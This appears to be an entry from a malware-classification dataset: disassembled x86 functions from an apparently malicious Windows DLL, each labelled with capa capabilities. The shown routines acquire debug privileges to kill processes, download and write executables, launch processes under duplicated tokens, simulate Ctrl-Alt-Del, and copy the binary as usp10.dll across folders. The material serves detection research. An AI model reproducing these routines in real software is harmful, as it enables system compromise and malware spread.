joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006471
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
test ebx, ebx
mov esi, ecx
je 0x1000659f
cmp dword [esi + 0x1c], 0
je 0x1000659f
call fcn.10006a2e
and dword [esi + 0x20], 0
lea edi, [esi + 4]
push 1
push edi
mov ecx, esi
call fcn.10006869
lea eax, [ebp - 8]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [ebp - 8]
push 8
push eax
mov ecx, esi
call fcn.10006869
lea ecx, [esi + 0x88]
call fcn.100065a8
mov byte [ebp + 0xb], al
lea eax, [ebp + 0xb]
push 1
push eax
mov ecx, esi
call fcn.10006869
cmp byte [edi], 2
jne 0x1000651a
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 8]
push dword [eax + 4]
push dword [esi + 0x44]
push dword [esi + 0x80]
call fcn.10006a93
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 0x14]
mov eax, dword [esi + 0x20]
add eax, dword [esi + 0x1c]
push eax
push dword [esi + 0x60]
push dword [esi + 0x78]
call fcn.10006b0a
add eax, dword [esi + 0x20]
mov dword [ebx], eax
jmp 0x1000659a
mov eax, dword [ebp - 4]
lea edi, [eax - 0x13]
test edi, edi
jge 0x10006526
xor edi, edi
cmp eax, dword [0x1001d02c]
je 0x1000653f
push edi
mov ecx, esi
call fcn.100065fe
test al, al
je 0x1000653f
add edi, 0x13
jmp 0x10006542
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x10006558
push edi
mov ecx, esi
call fcn.100065fe
test al, al
je 0x1000653a
add edi, 0x13
jmp 0x1000653a
mov eax, dword [ebp - 4]
push 0x13
mov dword [0x1001d02c], eax
mov eax, dword [esi + 0x30]
add eax, 3
pop ecx
cdq
idiv ecx
mov eax, dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x30], edx
mov dword [ebx], eax
lea ebx, [esi + 0x14]
call edi
sub eax, dword [ebx]
cmp eax, dword [esi + 0x18]
jae 0x10006590
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000657d
call edi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
jmp 0x100065a1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10007652
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov edi, str.SeDebugPrivilege
push 1
push edi
call fcn.10007265
pop ecx
pop ecx
push str.OpenProcess
call fcn.1000560f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.TerminateProcess
mov dword [ebp - 4], eax
call fcn.1000560f
push eax
call esi
push str.CloseHandle
mov dword [ebp - 8], eax
call fcn.1000560f
push eax
call esi
xor esi, esi
mov dword [ebp - 0xc], eax
cmp dword [ebp + 0xc], esi
jbe 0x100076cc
push ebx
mov eax, dword [ebp + 8]
push dword [esi + eax]
push 0
push 0x1f0fff
call dword [ebp - 4]
mov ebx, eax
push 0
push ebx
call dword [ebp - 8]
push ebx
call dword [ebp - 0xc]
add esi, 4
cmp esi, dword [ebp + 0xc]
jb 0x100076a7
pop ebx
push 0
push edi
call fcn.10007265
pop ecx
pop ecx
pop edi
pop esi
leave
ret 8
Function at 0x100077a2
Capabilities:
Get graphical window text

Disassembly:
mov eax, 0x100134d8
call fcn.1000c71c
sub esp, 0xc58
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x20], ecx
push str.LoadLibraryW
mov dword [ebp - 0x18], ebx
call fcn.1000560f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.USER32.DLL
call eax
push str.EnumWindows
push eax
call fcn.10005638
pop ecx
pop ecx
lea ecx, [ebp - 0x18]
push ecx
push 0x10007762
call eax
push str.LocalSize
call fcn.1000560f
push eax
call esi
push dword [ebp - 0x18]
call eax
mov esi, eax
mov al, byte [ebp - 0x19]
mov byte [ebp - 0x30], al
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
call fcn.100088a5
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], ebx
shr dword [ebp - 0x10], 2
je 0x1000792a
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, 0x187
xor eax, eax
lea edi, [ebp - 0xc60]
mov dword [ebp - 0xc64], ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
push 0x200
movzx edi, byte [eax + ecx*4]
lea eax, [ebp - 0x644]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x644]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x1000791b
push 0x104
lea eax, [ebp - 0x23c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x23c]
push 0x208
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0x104
lea eax, [ebp - 0x444]
push ebx
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x444]
push eax
push edi
call fcn.1000772a
add esp, 0x14
lea eax, [ebp - 0x644]
mov dword [ebp - 0xc64], edi
push eax
lea eax, [ebp - 0xc5e]
push eax
call esi
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0xa56]
push eax
call esi
lea eax, [ebp - 0x444]
push eax
lea eax, [ebp - 0x84e]
push eax
call esi
push edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
setne al
mov byte [ebp - 0xc60], al
lea eax, [ebp - 0xc64]
push eax
lea ecx, [ebp - 0x30]
call fcn.10008894
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
jb 0x10007833
cmp dword [ebp - 0x2c], ebx
mov esi, 0x620
jne 0x10007938
xor edi, edi
jmp 0x10007945
mov eax, dword [ebp - 0x28]
mov ecx, esi
sub eax, dword [ebp - 0x2c]
cdq
idiv ecx
mov edi, eax
mov eax, edi
mov ecx, dword [ebp - 0x20]
imul eax, eax, 0x620
inc eax
push eax
call fcn.10007234
cmp edi, ebx
mov dword [ebp - 0x34], eax
mov byte [eax], 0x82
jbe 0x1000798a
mov dword [ebp - 0x10], ebx
lea ebx, [eax + 1]
mov dword [ebp - 0x14], edi
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
add ecx, eax
push esi
push ecx
push ebx
call sub.MSVCRT.dll_memcpy
add dword [ebp - 0x10], esi
add esp, 0xc
add ebx, esi
dec dword [ebp - 0x14]
jne 0x1000796a
mov eax, dword [ebp - 0x34]
imul edi, edi, 0x4a0
mov ecx, dword [ebp - 0x20]
inc edi
push edi
push eax
call fcn.10004d87
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.10008857
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x100079b6
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0xc]
push esi
push edi
mov esi, dword [eax]
push esi
mov dword [ebp + 0xc], esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x10007a08
mov eax, dword [ebp + 8]
test eax, eax
jne 0x100079e5
push 3
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
pop eax
jmp 0x10007a08
push 1
pop edi
cmp eax, edi
jne 0x100079f0
push 6
jmp 0x100079ff
cmp eax, 2
jne 0x100079f9
push 0
jmp 0x100079ff
cmp eax, 3
jne 0x10007a0e
push edi
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, edi
pop edi
pop esi
leave
ret 0xc
cmp eax, 4
jne 0x10007a1c
push esi
call dword [sym.imp.USER32.dll_CloseWindow]
jmp 0x10007a06
cmp eax, 5
jne 0x10007a06
push ebx
push str.OpenProcess
call fcn.1000560f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.TerminateProcess
mov ebx, eax
call fcn.1000560f
push eax
call esi
push str.CloseHandle
mov dword [ebp - 4], eax
call fcn.1000560f
push eax
call esi
mov esi, str.SeDebugPrivilege
push edi
push esi
mov dword [ebp - 8], eax
call fcn.10007265
pop ecx
lea eax, [ebp + 8]
pop ecx
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp + 8]
push 0
push 0x1f0fff
call ebx
mov ebx, eax
push 0
push ebx
call dword [ebp - 4]
push ebx
call dword [ebp - 8]
push 0
push esi
call fcn.10007265
pop ecx
mov eax, edi
pop ecx
pop ebx
jmp 0x10007a08
Function at 0x100097e4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x10009780
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
mov esi, eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x10009842
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
xor ebx, ebx
push str.user32.dll
mov dword [ebp - 0xc], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.GetUserObjectInformationW
push edi
call esi
push str.GetThreadDesktop
push edi
mov dword [ebp - 0x14], eax
call esi
push str.OpenInputDesktop
push edi
mov dword [ebp - 8], eax
call esi
push str.SetThreadDesktop
push edi
mov dword [ebp - 4], eax
call esi
push str.CloseDesktop
push edi
mov dword [ebp - 0x1c], eax
call esi
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [ebp - 8]
mov esi, 0x200
mov dword [ebp - 8], eax
push esi
lea eax, [ebp - 0x21c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x21c]
push esi
push eax
push 2
push dword [ebp - 8]
call dword [ebp - 0x14]
push 0x2000000
push ebx
push ebx
call dword [ebp - 4]
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x41c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
push 2
push dword [ebp - 4]
call dword [ebp - 0x14]
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1000992b
push dword [ebp - 4]
call dword [ebp - 0x1c]
mov dword [ebp - 0xc], 1
push dword [ebp - 8]
call dword [ebp - 0x10]
push dword [ebp - 4]
call dword [ebp - 0x10]
cmp edi, ebx
je 0x10009942
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
cmp dword [ebp - 0xc], ebx
pop edi
pop esi
setne al
pop ebx
leave
ret
Function at 0x10009a70
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
push edi
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
push str.GetThreadDesktop
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call edi
push str.Winlogon
mov edi, eax
call fcn.100099e6
test eax, eax
pop ecx
je 0x10009ad7
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageW]
test edi, edi
je 0x10009ac9
push edi
call fcn.1000994f
pop ecx
test esi, esi
je 0x10009ad4
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 1
pop eax
pop edi
pop esi
ret

Function at 0x10009ada
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
push 1
pop eax
xor edi, edi
push str.wininet.dll
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
cmp ebx, edi
je 0x10009c08
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.InternetOpenA
push ebx
call esi
push str.InternetOpenUrlA
push ebx
mov dword [ebp - 4], eax
call esi
push str.InternetCloseHandle
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.InternetReadFile
push ebx
mov dword [ebp - 0x10], eax
call esi
push edi
push edi
push edi
push edi
push str.Mozilla_4.0__compatible_
mov dword [ebp - 0x18], eax
call dword [ebp - 4]
cmp eax, edi
mov dword [ebp - 0x20], eax
je 0x10009b67
push edi
push 0x80000000
push edi
push edi
push dword [ebp + 8]
push eax
call dword [ebp - 0x24]
cmp eax, edi
mov dword [ebp - 4], eax
jne 0x10009b6e
xor al, al
jmp 0x10009c10
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x10009bf0
mov esi, 0x800
push esi
lea eax, [ebp - 0x824]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x824]
push esi
push eax
push dword [ebp - 4]
call dword [ebp - 0x18]
cmp dword [ebp - 0x14], edi
je 0x10009bc2
cmp word [ebp - 0x824], 0x5a4d
jne 0x10009be4
lea eax, [ebp - 0x1c]
push edi
push eax
lea eax, [ebp - 0x824]
push dword [ebp - 8]
mov dword [ebp - 0x14], edi
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 8], edi
jbe 0x10009be7
jmp 0x10009b8f
mov dword [ebp - 0xc], edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
call esi
push dword [ebp - 4]
call dword [ebp - 0x10]
push dword [ebp - 0x20]
call dword [ebp - 0x10]
push ebx
call esi
xor eax, eax
cmp dword [ebp - 0xc], edi
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10009dac
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4a18
call fcn.1000c740
push ebx
push esi
push edi
xor ebx, ebx
push 0x800
lea eax, [ebp - 0xa18]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0xa18]
push str.SYSTEMCurrentControlSetServices_sParameters
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x24
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.RegOpenKeyExW
push edi
call esi
push str.RegDeleteValueW
push edi
mov dword [ebp + 8], eax
call esi
push str.RegQueryValueExW
push edi
mov dword [ebp - 8], eax
call fcn.10005638
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
push str.RegCloseKey
push edi
call esi
mov esi, eax
lea eax, [ebp - 4]
push eax
push 0xf003f
lea eax, [ebp - 0xa18]
push ebx
push eax
push 0x80000002
call dword [ebp + 8]
test eax, eax
jne 0x10009ef3
push 0x4000
lea eax, [ebp - 0x4a18]
push ebx
push eax
mov dword [ebp - 0x10], 2
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + 8]
mov dword [ebp + 8], 0x2000
push eax
lea eax, [ebp - 0x4a18]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x1001b894
push dword [ebp - 4]
call dword [ebp - 0xc]
lea eax, [ebp - 0x4a18]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x1001b87c
push dword [ebp - 4]
call dword [ebp - 8]
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x10009ef3
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x10009ef3
inc ebx
cmp ebx, 0x19
jl 0x10009ed1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a2d3
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push str.kernel32.dll
call edi
push str.ADVAPI32.dll
mov dword [ebp - 0xc], eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push str.OpenProcessToken
push ebx
call esi
push str.DuplicateTokenEx
push ebx
mov dword [ebp - 0x1c], eax
call esi
push str.SetTokenInformation
push ebx
mov dword [ebp - 0x20], eax
call esi
push str.CreateProcessAsUserW
push ebx
mov dword [ebp - 0x24], eax
call esi
push str.WTSGetActiveConsoleSessionId
mov dword [ebp - 0x2c], eax
push dword [ebp - 0xc]
call esi
push str.userenv.dll
mov dword [ebp - 0x10], eax
call edi
push str.CreateEnvironmentBlock
push eax
call esi
push 0x44
mov dword [ebp - 0x28], eax
pop edi
xor esi, esi
push edi
lea eax, [ebp - 0x80]
push esi
push eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call sub.MSVCRT.dll_memset
push 0x10
lea eax, [ebp - 0x3c]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x78], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
push ecx
push 0xf01ff
push eax
call dword [ebp - 0x1c]
lea eax, [ebp - 4]
push eax
push 1
push 1
push esi
push 0x2000000
push dword [ebp - 8]
call dword [ebp - 0x20]
cmp dword [ebp - 0x10], esi
je 0x1000a411
call dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push 4
push eax
push 0xc
push dword [ebp - 4]
call dword [ebp - 0x24]
push esi
lea eax, [ebp - 0x18]
push dword [ebp - 4]
push eax
call dword [ebp - 0x28]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push dword [ebp - 0x18]
push 0x430
push esi
push esi
push esi
push dword [ebp + 8]
push esi
push dword [ebp - 4]
call dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
push dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 8], eax
call edi
push dword [ebp - 8]
call edi
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
jmp 0x1000a414
mov dword [ebp + 8], esi
mov edi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp ebx, esi
je 0x1000a421
push ebx
call edi
cmp dword [ebp - 0xc], esi
je 0x1000a42b
push dword [ebp - 0xc]
call edi
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a539
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x10013558
call fcn.1000c71c
sub esp, 0xc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push ebx
push 0x80
push 3
push ebx
push 2
push 0x40000000
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, ebx
mov dword [ebp + 8], eax
jne 0x1000a575
xor eax, eax
jmp 0x1000a5d5
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0xc8
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov edi, eax
push esi
push 0x2e
push edi
call sub.MSVCRT.dll_memset
push 0x64
push 1
xor esi, esi
call fcn.1000a505
add esp, 0x14
mov dword [ebp - 0x14], eax
cmp esi, dword [ebp - 0x14]
jge 0x1000a5c9
lea eax, [ebp - 0x18]
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
push eax
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
inc esi
jmp 0x1000a5a8
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x1000a5ea
Capabilities:
Check if file exists
Copy file
Get file attributes
Set file attributes

Disassembly:
mov eax, 0x10013564
call fcn.1000c71c
sub esp, 0x20c
push ebx
push esi
push edi
and dword [ebp - 4], 0
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x218]
push 0x104
push eax
push dword [0x1001d030]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 8]
call fcn.10009c15
mov esi, eax
pop ecx
test esi, esi
je 0x1000a66b
push str.usp10.dll
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x1000a66b
push 0
lea eax, [ebp - 0x218]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push esi
call fcn.1000a539
pop ecx
push 6
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ecx, dword [ebp - 0xc]
push 1
pop eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x1000a683
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x870
push 0x250
lea eax, [ebp - 0x258]
push 0
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x870]
push str._s.
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x258]
push eax
lea eax, [ebp - 0x870]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x1000a6d7
xor al, al
leave
ret
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 0x1001a3e4
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
neg eax
sbb al, al
push 0x1001a39c
inc al
mov byte [ebp - 1], al
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1000a80e
lea eax, [ebp - 0x22c]
push 0x1001a394
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x1000a80e
test byte [ebp - 0x258], 0x10
je 0x1000a78c
push 0x208
lea eax, [ebp - 0x668]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x668]
push dword [ebp + 8]
push eax
call edi
lea eax, [ebp - 0x668]
push ebx
push eax
call esi
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x668]
push eax
call esi
lea eax, [ebp - 0x668]
push eax
call fcn.1000a683
pop ecx
jmp 0x1000a806
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
lea eax, [ebp - 0x460]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x460]
push dword [ebp + 8]
push eax
call edi
lea eax, [ebp - 0x460]
push ebx
push eax
call esi
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x460]
push eax
call esi
lea eax, [ebp - 0x460]
push 0x1001ba3c
push eax
call fcn.10009c9c
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x1000a806
lea eax, [ebp - 0x460]
push eax
call fcn.1000a5ea
test eax, eax
pop ecx
je 0x1000a80e
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 1], 0
je 0x1000a6eb
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
xor al, al
pop ebx
leave
ret

Function at 0x1000a8dc
Capabilities:
Create thread

Disassembly:
xor eax, eax
push esi
push eax
push eax
push 0x1001d068
push 0x10009ef8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x1001d05c]
cmp eax, 3
je 0x1000a90c
cmp eax, 1
jne 0x1000a8f5
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop esi
ret